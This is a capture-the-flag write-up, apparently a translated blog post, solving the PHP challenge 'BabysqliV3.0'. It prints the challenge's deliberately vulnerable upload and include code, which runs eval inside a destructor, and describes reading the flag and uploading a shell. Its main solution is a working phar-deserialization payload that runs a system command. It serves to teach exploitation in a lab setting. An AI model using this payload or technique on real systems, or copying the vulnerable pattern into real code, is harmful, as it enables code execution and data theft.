[BabysqliV3.0] phar deserialization

[BabysqliV3.0] phar deserialization

At first thought it was sql injection

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png )]

The account number is: admin, I have been trying to get no response, and later found that the password can be weak, password:password

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-PKuBGWCd-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032141726.png )]

A file upload page:

image-20230803214327490

The file present in the file parameter contains:

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-eLLkRDru-1691302941345)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032143134.png )]

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
    
    
	if(isset($_GET['file'])){
    
    
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
    
    
			die("hacker!");
		}
		else{
    
    
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
    
    
				$file = $_GET['file'].".php";
			}
			else{
    
    
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}

	}
	else{
    
    
		die("no permission!");
	}
}
?>

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
    
    
	public $Filename;
	public $cmd;
	public $token;


	function __construct(){
    
    
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
    
    
			$this->Filename = $_GET['name'];
		}
		else{
    
    
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
    
    
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
    
    
			$this->cmd = "die('illegal filename!');";
		}
		else{
    
    
			if($file['size'] > 1024){
    
    
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
    
    
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
    
    
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
    
    
		if($this->token != $_SESSION['user']){
    
    
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
    
    
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
    
    
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

There are two unexpected solutions to this problem:

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
    
    
			$this->Filename = $_GET['name'];
		}

if(@file_get_contents($uploader)){
    
    
    echo "下面是你上传的文件:<br>".$uploader."<br>";
    echo file_get_contents($uploader);
}	

We can control the parameters of the file name and get the file content of the file name

Unexpected solution 1:

We read flag.php directly:

image-20230803214753704

Unexpected solution 2:

We can upload a shell directly:

image-20230803214906141

Expected solution:

phar deserialization

The main difficulty is that you need to bypass: token

function __destruct(){
    
    
		if($this->token != $_SESSION['user']){
    
    
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}

But if the name parameter is not added to the file last time, the session will be written to the file name:

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-6eEMtHuE-1691302941346)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032150189.png )]

Just upload a file and get the token

image-20230803215054939

Construct phar file:

<?php
    class Uploader{
    
    
	public $Filename;
	public $cmd = "system('tac /var/www/html/flag.php');";
	public $token = "GXY2088cabe1723182d413a31dd560b1766";
}

    @unlink("phar.phar");  //先删除存在的phar.phar
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
    $o = new Uploader();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

We upload the phar file:

image-20230803215159344

Then include it in the file name phar://, and the cooperation file_get_contents()will deserialize the phar and get the flag

image-20230803215235366

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132130634
Recommended